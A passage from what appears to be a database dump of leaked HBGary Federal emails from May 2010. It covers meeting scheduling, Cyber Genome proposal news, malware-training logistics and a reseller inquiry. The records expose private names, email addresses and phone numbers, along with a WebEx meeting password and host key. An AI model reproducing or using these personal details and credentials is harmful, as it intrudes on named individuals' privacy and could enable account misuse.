authentication solutions,&nbsp; Narus, a maker of IP Telecommunications Infrastructure software for carrier traffic intelligence and security; Air Patrol, a wireless network security&nbsp;\r\ncompany, and DRS Technologies, a subsidiary of Finmechanicca of Italy.&nbsp; In December of 2009 he joined the board of Six3 Systems Holdings, LLC.&nbsp; Until its acquisition by Cisco in June 2007, he was a director and Chairman of Broadware Technologies, a video surveillance\r\nsoftware company.&nbsp; \r\n\r\n&nbsp;\r\n\r\nCrowell served as President and Chief Executive Officer of Santa Clara, California-based Cylink Corporation, a leading provider of e-business security solutions from November 1998 to February 2003, when Cylink was acquired\r\nby SafeNet, Inc., a Baltimore based security products company\r\n\r\n&nbsp;\r\n\r\n Crowell came to Cylink from the National Security Agency, where he held a series of senior positions in operations, strategic planning, research and development, and finance.&nbsp; He served as Deputy Director of Operations\r\nfrom 1991 to 1994 running its core signals intelligence mission.&nbsp; In February 1994 he was appointed as the Deputy Director of NSA and served in that post until his retirement in September 1997.&nbsp; From 1989 to 1990, Crowell served as a vice president at Atlantic\r\nAerospace Electronics Corporation, later acquired by Titan Corp, leading business development in space technology, signal processing and intelligence systems. In April 1999, Crowell was appointed to the President’s Export Council (PEC), which advised the administration\r\non trade and export policy.&nbsp; He served as chairman of the PEC Subcommittee on Encryption and helped define new export rules to substantially loosen restrictions on the export of encryption products and technology.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAfter 9/11 he served on the Markle Foundation Task Force on National Security in the Information Age, which published three landmark studies on Homeland Security and information sharing. He has also served on numerous panels\r\nto investigate and improve military command and control, intelligence and security systems.&nbsp;&nbsp; In August 2007 he was named Chairman of the Director of National Intelligence (DNI) Senior Advisory Group.&nbsp; \r\n\r\n&nbsp;\r\n\r\nCrowell is an expert on network and information security issues.&nbsp; In December 2008 Security Magazine selected him as one of the 25 most influential people in the security industry.&nbsp;&nbsp; In May 2007 he co-authored the book,\r\n“Physical and Logical Security Convergence,” published by Elsevier.&nbsp; He has been quoted in many trade and business publications including the Wall Street Journal, Business Week, USA Today, Information Week, Network World, Computer World, Federal Computer Week,\r\nCIO Magazine and the San Jose Mercury News.&nbsp; Crowell has also appeared on CBS MarketWatch, CNET News, CNBC, The Charlie Rose Show, and KNTV’s Silicon Valley Business.&nbsp; He was the technical advisor to the TV series, “Threat Matrix” during its run on ABC in the\r\n2003 season.\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',8523,'aaron_hbgary_com/8523.html'),(6076,'2010-05-07','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004375.M649039P14101Q931.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Schedule','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOK &#8211; I&#8217;ll put it on our calendars.\r\n\r\n&nbsp;\r\n\r\nChris \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, May 07, 2010 11:05 AM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Schedule\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI\'ll come to u.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 7, 2010, at 9:00 AM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo\r\nyou want to come over here or do it by phone?\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, May 07, 2010 8:37 AM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Schedule\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHey\r\nguys my meeting this afternoon was cancelled. &nbsp;I have a 2pm webex that\r\nshould last no more than an hour if u want to talk teaming at 3pm?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 6, 2010, at 5:15 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry, I\'m out\r\nall week on training.&nbsp; Maybe you meet with Jerry and John.\r\n\r\nI\'ll check on their schedules and get back tomorrow.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 5/6/2010 2:51 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Schedule\r\n\r\nI am jammed the rest of the day up by NSA.&nbsp; I am up at NSA monday\r\nafternoon\r\ntoo but morning is free.&nbsp; Tuesday is good for me too.\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 6, 2010, at 2:49 PM, &quot;Clair, Chris (TASC)&quot; &lt;\r\nCHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n&nbsp;How\'s the afternoon?&nbsp; Say 2:00?\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n*From:* Aaron Barr [mailto:aaron@hbgary.com]\r\n*Sent:* Thursday, May 06, 2010 2:00 PM\r\n*To:* Clair, Chris (TASC)\r\n*Subject:* Re: Schedule\r\n\r\n\r\n\r\nI can meet on the morning.&nbsp; I have an 1130 in tysons.\r\n\r\nFrom my iPhone\r\n\r\n\r\nOn May 6, 2010, at 10:40 AM, &quot;Clair, Chris (TASC)&quot; &lt;\r\nCHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n&nbsp;Hi Aaron,\r\n\r\nGot any time on Friday to come visit and talk about teaming?&nbsp; Today is a\r\nwash.\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n*__________________________________________________*\r\n&nbsp; [image: Picture (Device Independent Bitmap)]*|Chris Clair** **|* Program\r\nManager* **|* 703.449.3964\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1246,'aaron_hbgary_com/1246.html'),(6077,'2010-05-07','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004375.M883533P14101Q932.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,\"Newbern, David W (TASC)\" <DAVID.NEWBERN@tasc.com>','COIN Teaming meeting','\r\n\r\n\r\n\r\n\r\nCOIN Teaming meeting\r\n\r\n\r\n\r\n\r\nWhen: Friday, May 07, 2010 3:00 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: WF4\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nMeet to discuss additional team partners with Aaron.\r\n\r\n\r\n\r\n\r\n',4005,'aaron_hbgary_com/4005.html'),(6078,'2010-05-07','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','/aaron@hbgary.com/new/1297004376.M133361P14101Q933.eml','\"Aaron Barr\" <aaron@hbgary.com>','Any news on Cyber Genome?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe received a rejection on Tech Area 4 today. It was a long\r\nshot, but we tried.\r\n\r\n&nbsp;\r\n\r\nAny news on TA 3?\r\n\r\n&nbsp;\r\n\r\nAnita\r\n\r\n&nbsp;\r\n\r\nAnita D\'Amico, Ph.D.\r\n\r\nApplied Visions, Inc. (AVI) \r\n\r\nDirector, Secure Decisions\r\nDivision\r\n\r\n6 Bayview Avenue, Northport,\r\nNY 11768-1502\r\n\r\nhttp://SecureDecisions.avi.com\r\n\r\nCentral office (631) 754-4920 \r\n\r\nNew direct line (631)\r\n759-3909\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15612,'aaron_hbgary_com/15612.html'),(6079,'2010-05-07','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297004376.M353501P14101Q934.eml','all@hbgary.com','Interesting article on Desktop security','\r\nand the new underlying assumption by most businesses:  Assume the user\'s\r\ndesktop is compromised\r\n\r\nhttp://threatpost.com/en_us/blogs/have-we-lost-desktop-security-battle-050610\r\n\r\n- Martin\r\n',4319,'aaron_hbgary_com/4319.html'),(6080,'2010-05-07','\"Adobe Systems Inc.\" <adobe@adobeinfo.com>','/aaron@hbgary.com/new/1297004376.M652766P14101Q935.eml','aaron@hbgary.com','Your CS4 trial is almost over. What\'s next?','\r\n\r\nAdobe&reg; InDesign&reg; CS4\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n	  \r\n          	\r\n          	If this message is not displaying properly, \r\n          	click here to launch your browser.\r\n	  \r\n	\r\n	\r\n		\r\n		\r\n			\r\n		\r\n			\r\n		\r\n	\r\n	\r\n		\r\n		\r\n			\r\n		\r\n	\r\n	\r\n		\r\n	\r\n	\r\n		\r\n		\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n		\r\n	\r\n	\r\n		\r\n		Keep the features you\'ve grown to love.\r\n		\r\n		\r\n	\r\n	\r\n		\r\n		\r\n	\r\n	\r\n		\r\n		\r\n			\r\n		\r\n			\r\n		\r\n	\r\n\r\n  \r\n    \r\n	\r\n                &bull;\r\n		Multichannel publishing\r\n		\r\n	\r\n	\r\n	        &bull;\r\n		Unprecedented integration with other Adobe applications\r\n		\r\n	\r\n	\r\n	        &bull;\r\n		Enhanced layout productivity tools\r\n		\r\n	\r\n	\r\n	        &bull;\r\n		Powerful creative effects and controls\r\n		\r\n	\r\n        \r\n	        &bull;\r\n		Professional typography\r\n		\r\n	\r\n	\r\n		Upgrade from US$199.*\r\n		\r\n	\r\n	\r\n		Buy US$699.\r\n		\r\n	\r\n	\r\n		\r\n			\r\n		\r\n			\r\n		Or call 800-585-0774.\r\n		\r\n	\r\n        \r\n        \r\n                \r\n		\r\n		\r\n				\r\n      \r\n    \r\n  \r\n	\r\n		\r\n		\r\n		\r\n                		\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n		\r\n			\r\n		\r\n	\r\n	\r\n		Add more power to your creative portfolio.\r\n		\r\n	\r\n	\r\n		Deliver innovative ideas in print, web, and mobile design. Get Adobe&reg; Creative Suite&reg; 4 Design Premium software, the ultimate toolkit for today\'s designer.\r\n	\r\n	\r\n		BUY NOW&nbsp;\r\n		\r\n			-->\r\n		\r\n	\r\n	\r\n		\r\n	\r\n	\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n		\r\n	\r\n	\r\n		\r\n	\r\n	\r\n		\r\n	\r\n	\r\n		\r\n	\r\n	\r\n		\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n	\r\n	\r\n		\r\n		TAKE ADVANTAGE OF EDUCATION DISCOUNTS.\r\n	\r\n	\r\n		If you are a student or educator, you qualify for education pricing. See the full list of education products available for purchase, price list, and flexible purchasing options for education licensing discounts.\r\n	\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n		\r\n	\r\n	\r\n		\r\n	\r\n	\r\n		\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n		\r\n	\r\n	\r\n		\r\n	\r\n	\r\n		\r\n		\r\n\r\n\r\n\r\n\r\n        \r\n	\r\n		*\r\n		Upgrade pricing is valid only for licensed users of Adobe InDesign&reg; CS4 and requires a qualifying previous product on the same platform with serial number. All prices available from the Adobe Store and Adobe Customer Service and are valid in the U.S. and Canada only. Prices stated are in U.S. dollars and do not include local taxes or shipping and handling. Prices are not valid for Education, volume licensing, or OEM customers. Prices subject to change without notice. Void where prohibited. Allow 2-3 weeks for delivery.		\r\n        \r\n	\r\n		\r\n                Adobe, the Adobe logo, Creative Suite, InDesign, and Macromedia are either registered trademarks or trademarks of Adobe Systems Incorporated in the United States and/or other countries. All other trademarks are the property of their respective owners.\r\n\r\n&copy; 2009 Adobe Systems Incorporated. All rights reserved.\r\n\r\nPLEASE DO NOT REPLY TO THIS MESSAGE. To obtain information on how to contact Adobe, visit the web at: www.adobe.com/misc/comments.html, or call 800-833-6687.\r\n\r\nThis is an advertising message from Adobe Systems Incorporated, its affiliates and agents (&ldquo;Adobe&rdquo;), 345 Park Avenue, San Jose, CA 95110 USA. If you&rsquo;d prefer not to receive e-mail like this from Adobe in the future, please click here to unsubscribe or send an e-mail to unsubscribe-na@adobesystems.com. Alternatively, you may mail your unsubscribe request to:\r\n\r\nUNSUBSCRIBE\r\nAdobe Systems Incorporated\r\nP.O. Box 2205\r\nBeaverton, OR 97075 USA\r\n\r\nYour privacy is important to us. Please review Adobe&rsquo;s Online Privacy Policy by clicking here: www.adobe.com/misc/privacy.html.\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n		\r\n	\r\n	\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n',8213,'aaron_hbgary_com/8213.html'),(6081,'2010-05-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004376.M922032P14101Q936.eml','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','Re: Any news on Cyber Genome?','Not yet.Sent from my iPadOn May 7, 2010, at 12:45 PM, Anita D&#39;Amico &lt;anitad@securedecisions.avi.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nWe received a rejection on Tech Area 4 today. It was a long\r\nshot, but we tried.\r\n\r\n \r\n\r\nAny news on TA 3?\r\n\r\n \r\n\r\nAnita\r\n\r\n \r\n\r\nAnita D&#39;Amico, Ph.D.\r\n\r\nApplied Visions, Inc. (AVI) \r\n\r\nDirector, Secure Decisions\r\nDivision\r\n\r\n6 Bayview Avenue, Northport,\r\nNY 11768-1502\r\n\r\nhttp://SecureDecisions.avi.com\r\n\r\nCentral office (631) 754-4920 \r\n\r\nNew direct line (631)\r\n759-3909\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12185,'aaron_hbgary_com/12185.html'),(6082,'2010-05-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004377.M158118P14101Q937.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Any news on Cyber Genome?','Sent from my iPadBegin forwarded message:From: &quot;Anita D&#39;Amico&quot; &lt;anitad@securedecisions.avi.com&gt;\r\nDate: May 7, 2010 12:45:35 PM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: Any news on Cyber Genome?\r\n\r\n\r\n\r\n\r\nWe received a rejection on Tech Area 4 today. It was a long\r\nshot, but we tried.\r\n\r\n \r\n\r\nAny news on TA 3?\r\n\r\n \r\n\r\nAnita\r\n\r\n \r\n\r\nAnita D&#39;Amico, Ph.D.\r\n\r\nApplied Visions, Inc. (AVI) \r\n\r\nDirector, Secure Decisions\r\nDivision\r\n\r\n6 Bayview Avenue, Northport,\r\nNY 11768-1502\r\n\r\nhttp://SecureDecisions.avi.com\r\n\r\nCentral office (631) 754-4920 \r\n\r\nNew direct line (631)\r\n759-3909\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15070,'aaron_hbgary_com/15070.html'),(6083,'2010-05-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004377.M452939P14101Q938.eml','\"Christopher Starr\" <Chris.Starr@gd-ais.com>','Fwd: Any news on Cyber Genome?','Have you heard?  Want to get together next week?AaronSent from my iPadBegin forwarded message:From: &quot;Anita D&#39;Amico&quot; &lt;anitad@securedecisions.avi.com&gt;\r\nDate: May 7, 2010 12:45:35 PM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: Any news on Cyber Genome?\r\n\r\n\r\n\r\n\r\nWe received a rejection on Tech Area 4 today. It was a long\r\nshot, but we tried.\r\n\r\n \r\n\r\nAny news on TA 3?\r\n\r\n \r\n\r\nAnita\r\n\r\n \r\n\r\nAnita D&#39;Amico, Ph.D.\r\n\r\nApplied Visions, Inc. (AVI) \r\n\r\nDirector, Secure Decisions\r\nDivision\r\n\r\n6 Bayview Avenue, Northport,\r\nNY 11768-1502\r\n\r\nhttp://SecureDecisions.avi.com\r\n\r\nCentral office (631) 754-4920 \r\n\r\nNew direct line (631)\r\n759-3909\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6109,'aaron_hbgary_com/6109.html'),(6084,'2010-05-07','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297004377.M694443P14101Q939.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Any news on Cyber Genome?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI just heard a few minutes ago from Anita that Secure Decisions&#8217;\r\nTA4 proposal was not approved (they just got a rejection letter today).&nbsp; We\r\nhave not heard anything yet about TA1.&nbsp; Any word about TA3?\r\n\r\n&nbsp;\r\n\r\nHow about getting together for lunch on Thursday or Friday of\r\nnext week?&nbsp; Would this work? \r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, May 07, 2010 1:42 PM\r\nTo: Starr, Christopher H.\r\nSubject: Fwd: Any news on Cyber Genome?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHave you heard? &nbsp;Want to get together next week?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Anita\r\nD\'Amico&quot; &lt;anitad@securedecisions.avi.com&gt;\r\nDate: May 7, 2010 12:45:35 PM EDT\r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: Any news on Cyber Genome?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nreceived a rejection on Tech Area 4 today. It was a long shot, but we tried.\r\n\r\n&nbsp;\r\n\r\nAny\r\nnews on TA 3?\r\n\r\n&nbsp;\r\n\r\nAnita\r\n\r\n&nbsp;\r\n\r\nAnita D\'Amico, Ph.D.\r\n\r\nApplied Visions, Inc. (AVI) \r\n\r\nDirector, Secure Decisions Division\r\n\r\n6 Bayview Avenue, Northport, NY 11768-1502\r\n\r\nhttp://SecureDecisions.avi.com\r\n\r\nCentral office (631) 754-4920 \r\n\r\nNew direct line (631) 759-3909\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7472,'aaron_hbgary_com/7472.html'),(6085,'2010-05-07','messenger@webex.com','/aaron@hbgary.com/new/1297004377.M991916P14101Q940.eml','aaron@hbgary.com','Meeting reminder: HBGary Capabilities Demo',' You are scheduled to host this online meeting.   Topic: HBGary Capabilities Demo  Date: Friday, May 7, 2010  Time: 2:00 pm, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 575 589 771  Meeting Password: malwar3  Host Key: 236524   -------------------------------------------------------  To start the online meeting  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=146836047&UID=488445912&PW=NZTRhMDNlMmU5&RT=MiMxMQ%3D%3D  2. If you are not logged in, log in to your account.   -------------------------------------------------------  Audio conference information  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=146836047&tollFree=0   Access code:575 589 771  To check for compatibility of rich media players for Universal Communications Format (UCF), click the following link:  https://hbgary.webex.com/hbgary/systemdiagnosis.php   http://www.webex.com   ',15372,'aaron_hbgary_com/15372.html'),(6086,'2010-05-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004378.M247462P14101Q941.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: Any news on Cyber Genome?','No word on TA3 (I guess thats good?). &nbsp;Either day will work for me right now.AaronOn May 7, 2010, at 1:46 PM, Starr, Christopher H. wrote:Aaron,&nbsp;I just heard a few minutes ago from Anita that Secure Decisions’ TA4 proposal was not approved (they just got a rejection letter today).&nbsp; We have not heard anything yet about TA1.&nbsp; Any word about TA3?&nbsp;How about getting together for lunch on Thursday or Friday of next week?&nbsp; Would this work?&nbsp;Chris&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, May 07, 2010 1:42 PMTo:&nbsp;Starr, Christopher H.Subject:&nbsp;Fwd: Any news on Cyber Genome?&nbsp;Have you heard? &nbsp;Want to get together next week?&nbsp;AaronSent from my iPadBegin forwarded message:From:&nbsp;\"Anita D\'Amico\" &lt;anitad@securedecisions.avi.com&gt;Date:&nbsp;May 7, 2010 12:45:35 PM EDTTo:&nbsp;\"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject:&nbsp;Any news on Cyber Genome?We received a rejection on Tech Area 4 today. It was a long shot, but we tried.&nbsp;Any news on TA 3?&nbsp;Anita&nbsp;Anita D\'Amico, Ph.D.Applied Visions, Inc. (AVI)Director, Secure Decisions Division6 Bayview Avenue, Northport, NY 11768-1502http://SecureDecisions.avi.comCentral office (631) 754-4920New direct line (631) 759-3909&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',365,'aaron_hbgary_com/365.html'),(6087,'2010-05-07','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297004378.M516278P14101Q942.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: SAIC @ Fri May 7 3:30pm - 4:30pm (aaron@hbgary.com)',' more details &raquo;SAICWhenFri May 7 3:30pm – 4:30pm Eastern TimeWhere6841 Benjamin Franklin Dr Columbia md (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;Scott W SheldonInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you set a reminder for this event on the calendar aaron@hbgary.com.You can change your reminders for specific events in the event details page in https://www.google.com/calendar/hosted/hbgary.com/.',11377,'aaron_hbgary_com/11377.html'),(6088,'2010-05-07','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297004378.M752073P14101Q943.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','HB Gary WebEx - thank you & next steps','Dear Aaron,Many thanks to you and Rich Cummings for putting together a very thorough WebEx of your product and for being so candid with us, it was really great.We definitely see a lot of synergy between what we do and what you guys do. Rafal and Nart are going to be in Washington next week, so we\'ll try and get you all together for a meeting on the next steps. We\'re looking at the 12th of May, but not sure yet - would you be available that day?In terms of quick next steps:- On the product side, SecDev would definitely like to be the Canadian reseller for HBGary, with international reseller rights too - we\'re active in the UK, European and francophone cyber markets (as well as other international markets). Do you have a reseller agreement we can take a look at?- Would you be able to provide some informative slide decks on the various products HBGary offers, for our reference?- There is definitely a lot of possible synergy between your malware analysis tools, network traffic analysis and integration into a tool we\'re developing Palantir.cyber and into the Cloakroom suite of the two for analysis.- How many product keys would be you willing to provide for our use in-house? We really appreciate this offer.Best wishes,Arnav\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n',11947,'aaron_hbgary_com/11947.html'),(6089,'2010-05-07','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297004378.M970289P14101Q944.eml','aaron@hbgary.com','Secdev - Nart\'s contact info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron can you send me Nart\'s number and email addy?&nbsp; I\'ll\r\nemail him and get him the eval stuff and also get his malware.\r\n\r\n&nbsp;\r\n\r\nthx.\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7776,'aaron_hbgary_com/7776.html'),(6090,'2010-05-07','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297004383.M161346P14101Q945.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Corrected: HB Gary WebEx - thank you & next steps','Dear Aaron,My apologies, my third point was pretty mangled in its expression.Corrected this time.Best,ArnavDear Aaron,Many thanks to you and Rich Cummings for putting together a very thorough WebEx of your product and for being so candid with us, it was really great.We definitely see a lot of synergy between what we do and what you guys do. Rafal and Nart are going to be in Washington next week, so we\'ll try and get you all together for a meeting on the next steps. We\'re looking at the 12th of May, but not sure yet - would you be available that day?In terms of quick next steps:- On the product side, SecDev would definitely like to be the Canadian reseller for HBGary, with international reseller rights too - we\'re active in the UK, European and francophone cyber markets (as well as other international markets). Do you have a reseller agreement we can take a look at?- Would you be able to provide some informative slide decks on the various products HBGary offers, for our reference?- There is definitely a lot of possible synergy and integration possibility between your malware analysis tools and network traffic analysis. As mentioned we are working on Palantir.cyber, and would work to integrate the data into this platform as well as into our own Cloakroom suite.- How many product keys would be you willing to provide for our use in-house? We really appreciate this offer.Best wishes,Arnav\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n',9296,'aaron_hbgary_com/9296.html'),(6091,'2010-05-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004383.M393362P14101Q946.eml','\"Leavy Penny\" <penny@hbgary.com>,\"Hoglund Greg\" <greg@hbgary.com>,\"Leavy Penny\" <penny@hbgary.com>','Fwd: Training','Mark will be out in Sacramento next week attending the Malware RE training. Will you be having a mixer like last time? I&#39;d like him to stop by the office to see the facility and meet you and the team. \r\nTedBegin forwarded message:From: Mark Trynor &lt;mark@hbgary.com&gt;Date: May 5, 2010 3:58:32 PM MDT\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: Training-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1All right I&#39;m booked.  You wouldn&#39;t happen to still have the electronicticket/boarding passes stuff from our last trip out there would you?\r\nOn 05/05/2010 03:02 PM, Ted Vera wrote:Can you reply to all once you&#39;ve decided if you can go, so Jimreserves the slot.\r\nOn May 5, 2010, at 2:02 PM, Jim Richards &lt;jim@hbgary.com&gt; wrote:\r\nAs a matter of fact, there is 1 seat available! Send him out!\r\nJim\r\nJim Richards | Learning Programs Manager | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\nCell Phone: 916-276-2757 | Office Phone: 916-459-4727 x119 | Fax:\r\n916-481-1460Website: www.hbgary.com | email: jim@hbgary.com\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Wednesday, May 05, 2010 1:03 PMTo: Richards Jim\r\nCc: Mark Trynor; Barr AaronSubject: Training\r\nHi Jim,\r\nIs there room for our new employee, Mark Trynor, to sit in the May11-12 Malware class in Sacramento?\r\nTed\r\n-----BEGIN PGP SIGNATURE-----Version: GnuPG v1.4.10 (GNU/Linux)Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\niEYEARECAAYFAkvh6ggACgkQWw/TEDXzQNPL/QCfYp9gCcMDVN9ze1W1Dgozo4J7swYAnRyF9NwRLdTViR12r7u0v61DDWgW=dkUz-----END PGP SIGNATURE-----\r\n\r\n',5995,'aaron_hbgary_com/5995.html'),(6092,'2010-05-07','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004383.M691692P14101Q947.eml','\"Ted Vera\" <ted@hbgary.com>,\"Hoglund Greg\" <greg@hbgary.com>,\"Ted Vera\" 